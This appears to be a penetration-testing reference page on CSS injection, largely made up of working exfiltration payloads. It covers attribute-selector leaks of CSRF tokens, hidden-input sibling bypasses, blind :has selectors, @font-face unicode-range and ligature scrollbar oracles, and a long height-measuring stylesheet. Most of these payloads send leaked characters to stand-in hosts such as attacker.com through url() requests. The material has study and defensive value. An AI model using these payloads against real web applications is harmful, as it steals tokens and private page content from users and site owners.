What is CSS injection
CSS injection is a security vulnerability that allows an attacker to manipulate a web application’s styles by injecting malicious CSS code. This can change the appearance of a webpage, potentially misleading users or obscuring content. Such attacks often occur when user input isn't properly validated, leading to risks like data theft or phishing. To mitigate CSS injection, websites should implement strict Content Security Policies (CSP) and validate user inputs.
Exploitation
CSS injection can be exploited in various ways, with the approach largely influenced by the specific attack scenario and the website's defenses, such as Content Security Policy (CSP) and other security measures in place.
To begin, it's essential to identify whether the information you aim to extract resides within an attribute or is part of a text node. This distinction will guide your choice of attack method, allowing you to effectively tailor your strategy to extract the desired outcome. Each situation may require a different technique to achieve success, so careful analysis of the context is crucial.
- Attribute
<input value="abcdefghijkl...">
- Text Node
<p>abcdefghijkl...</p>
- How does the @import technique is working?
- The import is going to receive some CSS script from the attackers and the browser will load it.
- The first part of the CSS script the attacker will send is another
**@import**
to the attackers server again.- The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
- The second and bigger part of the payload is going to be an attribute selector leakage payload
- This will send to the attackers server the first char of the secret and the last one
- Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
- The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.
Essentially, the server waits to receive the initial image request. Upon receiving this request, it determines the value and incorporates it into the template. It then provides a CSS template for the subsequent chained request, which remains pending until the template is created. This process continues iteratively.
Attribute (Can be combined inside @import technique)
- Attribute Selector (limitation when dealing with hidden input elements)
<style>
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
</style>
<input name="csrf" value="abcdefg">
value^ ---> Can fetch the first and last letter for each import request (First) value$ ---> Can fetch the first and last letter for each import request (Last)
- Styling Scroll-to-Text Fragment (Validate any text on application)
:target::before { content : url(target.png) }
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
- Hidden Attribute (Bypass for Hidden Elements)
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
To circumvent this limitation, you can target a subsequent sibling element using the ~
general sibling combinator. The CSS rule then applies to all siblings following the hidden input element, causing the background image to load
- Blind Attribute Selector (combine selectors
:has
,:not
| USEFUL WHEN NO IDEA INSIDE PAGE)
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
  background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
The :has
selector is a powerful addition to CSS that allows you to style an element based on its child elements. Think of it as a conditional statement—if the specified condition (a child element matching a selector) is met, then apply the styles to the parent. (Help to be more granular in selection)
Combining this with the following @import technique, it's possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration (opens in a new tab).
Text Node (Can be combined inside @import technique)
- @font-face unicode range
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>
@font-face
---> The @font-face
rule is used to define a custom font
unicode-range
---> The property limits this font to only the character "A" (U+0041).
-
Text node exfiltration (I): ligatures (extracting text from a node by exploiting font ligatures & monitoring width change)
In typography, fonts are initially designed with pairs of characters that have substantial width to create visually appealing ligatures. A scrollbar-based trick detects when these larger glyphs are rendered, indicating specific character sequences. Once a ligature is found, new glyphs for three-character sequences are generated by adding an extra character to the detected pair. This detection process continues, progressively revealing the entire text and transforming simple combinations into cohesive units, enhancing the overall reading experience.
-
Creation of Custom Fonts:
- SVG fonts are crafted with glyphs having a
horiz-adv-x
attribute, which sets a large width for a glyph representing a two-character sequence. - Example SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, where "XY" denotes a two-character sequence. - These fonts are then converted to woff format using fontforge.
- SVG fonts are crafted with glyphs having a
-
Detection of Width Changes:
- CSS is used to ensure that text does not wrap (
white-space: nowrap
) and to customize the scrollbar style. - The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
- The CSS involved:
body { white-space: nowrap }; body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- CSS is used to ensure that text does not wrap (
-
Optimization:
- The current initialization method using
<meta refresh=...
is not optimal. - A more efficient approach could involve the CSS
@import
trick, enhancing the exploit's performance.- a. Injection request @import url(http://.../style_1.css) b. style_1 contains payload to leak first tuple + @import url(http://.../style_2.css) c. server doesn’t respond to style_2 until it receives leaked tuple d. style_2 contains payload to leak second tuple + @import … e. ...
- The current initialization method using
-
- Text node exfiltration (II): leaking (Element size (not requiring external assets))
- Make the text element have 1 char per line
- Configure letters to have unique heights
- Iteratively remove/hide more and more characters from the text
- Calculate the height difference between two steps to find which character was removed
- Exfiltrate the letter to our attacker server
/**** CONFIG ****/
:root {
/* length of the value to be leaked (+1 to get the final diff) */
--chars: 30;
/* how many chars to cut off before the start of the actual value */
--prefix-len: 3;
/* delay the start of the leak */
--delay: 1s;
/* time between characters */
--time-per-char: 500ms;
}
/**** INTERNAL ****/
:root {
/* we need one more step to get the final diff */
--iterations: calc(var(--chars) + 1);
/* the current amount of characters to cut from the start */
--n: var(--prefix-len);
animation:
/* iterate from --prefix-len to (--prefix-len + --iterations): */
iterate calc(var(--iterations) * var(--time-per-char)) var(--delay) steps(var(--iterations)) 1 forwards,
/* cycle over the save/send states: */
enable-save var(--time-per-char) var(--delay) steps(3, jump-end) var(--iterations),
/* enable the height measurement */
y linear;
timeline-scope: --cy;
animation-timeline: auto, auto, --cy;
animation-range: normal, normal, entry 100% exit 100%;
--h: calc(1/(1 - var(--y)));
/* make one initial request to the exfil server to avoid a slow connection during the leak */
background: url('//attacker.com/init');
}
/**** RESET ****/
/* hide all the irrelevant elements */
* {
display: none;
}
/* make only the relevant elements visible */
.leak, :has(.leak) {
display: block;
}
/**** STAGES ****/
@keyframes enable-save {
0% { --do-save: 'y'; --do-send: 'n' }
50% { --do-save: 'y'; --do-send: 'y' }
100% { --do-save: 'n'; --do-send: 'n' }
}
@keyframes save {
from, to { --old-h: var(--h) }
}
@container style(--do-save: 'y') {
:root > :has(.leak) {
/* save the old value of --h; */
animation: save var(--time-per-char) 1;
}
}
@container style(--do-send: 'y') {
.leak {
background-image: image-set(var(--img-bits) 1x);
}
}
/**** HEIGHT ****/
/* calculate the height using https://frontendmasters.com/blog/how-to-get-the-width-height-of-any-element-in-only-css/ */
@property --y {
syntax: "<number>";
initial-value: 0;
inherits: true;
}
@property --h {
syntax: "<integer>";
initial-value: 0;
inherits: true;
}
@keyframes y {
to { --y: 1 }
}
.leak {
overflow: auto;
position: relative;
&:before {
content: '';
position: absolute;
left: 0;
top: 0;
height: 1px;
view-timeline: --cy block;
}
/* case-insensitive leak */
text-transform: uppercase;
/* use all the fonts as fallbacks of each other */
font-family: f0,f1,f2,f3,f4,f5,f6,f7,f8,f9,fA,fB,fC,fD,fE,fF,base;
/* fix the font size to 10px so that each 10% font descent-override adds exactly one pixel */
--font-size: 10px;
font-size: var(--font-size);
/* the aspect ratio was found by inspecting the width of a 1000px big char in DejaVu Sans Mono */
--font-aspect-ratio: calc(602.0520 / 1000);
--width-per-char: calc(var(--font-aspect-ratio) * var(--font-size));
/* make :first-line as wide as possible without making the whole element 2-column */
--available-space: calc(2 * var(--width-per-char) - 1px);
width: var(--available-space);
/* make the text break after each character (idk why the keyword for that is 'break-word') */
word-break: break-word;
/* make sure that whitespace is preserved properly */
white-space: break-spaces;
/* calculate the character number based on the current and previous heights */
--char-num: calc(var(--old-h) - var(--h) - 11 - 8);
/* use a paused animation to select the right background image based on the height */
--anim-steps: 64;
--anim-time: calc(var(--anim-steps) * 1s);
--anim-delay: calc(var(--char-num) * -1s);
animation: exfil var(--anim-time) var(--anim-delay) steps(var(--anim-steps), jump-start) infinite paused;
}
@property --anim-delay {
syntax: '<time>';
initial-value: 0s;
inherits: true;
}
/* use the :first-line pseudo element to put increasingly more characters into the first line, removing them from the total height of the element */
.leak::first-line {
/* make each character equally wide */
font-family: base;
/* calculate the font-size that can fit --n characters */
--clamped-n: max(2, var(--n, 2));
/* override these for debugging */
--width-per-char: 6;
--available-space: 11;
--space-required: calc(var(--clamped-n) * var(--width-per-char));
--mult: calc(var(--available-space) / var(--space-required));
font-size: calc(var(--font-size) * var(--mult));
/* font-size: calc(var(--font-size) / var(--clamped-n)); */
/* make the :first-line have a fixed height to keep the total height predictable */
line-height: 10px;
/* make sure that whitespace is preserved properly */
white-space: break-spaces;
}
@property --n {
syntax: '<integer>';
initial-value: 0;
inherits: true;
}
@keyframes iterate {
from { --n: var(--prefix-len) }
to { --n: calc(var(--prefix-len) + var(--iterations)) }
}
/* Image helper */
@keyframes exfil {
0.0000% { --img-bits: '//attacker.com/0' }
1.5625% { --img-bits: '//attacker.com/1' }
3.1250% { --img-bits: '//attacker.com/2' }
4.6875% { --img-bits: '//attacker.com/3' }
6.2500% { --img-bits: '//attacker.com/4' }
7.8125% { --img-bits: '//attacker.com/5' }
9.3750% { --img-bits: '//attacker.com/6' }
10.9375% { --img-bits: '//attacker.com/7' }
12.5000% { --img-bits: '//attacker.com/8' }
14.0625% { --img-bits: '//attacker.com/9' }
15.6250% { --img-bits: '//attacker.com/A' }
17.1875% { --img-bits: '//attacker.com/B' }
18.7500% { --img-bits: '//attacker.com/C' }
20.3125% { --img-bits: '//attacker.com/D' }
21.8750% { --img-bits: '//attacker.com/E' }
23.4375% { --img-bits: '//attacker.com/F' }
25.0000% { --img-bits: '//attacker.com/unknown' }
}
/**** FONTS ****/
/* the base font as a fallback for all other characters */
@font-face{font-family:base;src:local('DejaVu Sans Mono')}
/* one font for each character, each having a different height via descent-override */
/* alphabet: [0-9A-F] */
@font-face{font-family:f0;src:local('DejaVu Sans Mono');unicode-range:U+30;descent-override:100%}
@font-face{font-family:f1;src:local('DejaVu Sans Mono');unicode-range:U+31;descent-override:110%}
@font-face{font-family:f2;src:local('DejaVu Sans Mono');unicode-range:U+32;descent-override:120%}
@font-face{font-family:f3;src:local('DejaVu Sans Mono');unicode-range:U+33;descent-override:130%}
@font-face{font-family:f4;src:local('DejaVu Sans Mono');unicode-range:U+34;descent-override:140%}
@font-face{font-family:f5;src:local('DejaVu Sans Mono');unicode-range:U+35;descent-override:150%}
@font-face{font-family:f6;src:local('DejaVu Sans Mono');unicode-range:U+36;descent-override:160%}
@font-face{font-family:f7;src:local('DejaVu Sans Mono');unicode-range:U+37;descent-override:170%}
@font-face{font-family:f8;src:local('DejaVu Sans Mono');unicode-range:U+38;descent-override:180%}
@font-face{font-family:f9;src:local('DejaVu Sans Mono');unicode-range:U+39;descent-override:190%}
@font-face{font-family:fA;src:local('DejaVu Sans Mono');unicode-range:U+41;descent-override:200%}
@font-face{font-family:fB;src:local('DejaVu Sans Mono');unicode-range:U+42;descent-override:210%}
@font-face{font-family:fC;src:local('DejaVu Sans Mono');unicode-range:U+43;descent-override:220%}
@font-face{font-family:fD;src:local('DejaVu Sans Mono');unicode-range:U+44;descent-override:230%}
@font-face{font-family:fE;src:local('DejaVu Sans Mono');unicode-range:U+45;descent-override:240%}
@font-face{font-family:fF;src:local('DejaVu Sans Mono');unicode-range:U+46;descent-override:250%}
We can now stack all letters on top of each other and measure the total height. Of course this doesn’t help much, so we need to iteratively remove characters and measure the height difference to know which letter it was.
- Text node exfiltration (III): Hiding Element https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font-1 (opens in a new tab)
- Text node exfiltration (III): Cache Timing https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font-2 (opens in a new tab)
- Text node exfiltration (III): Timing Loading Font https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font-3 (opens in a new tab)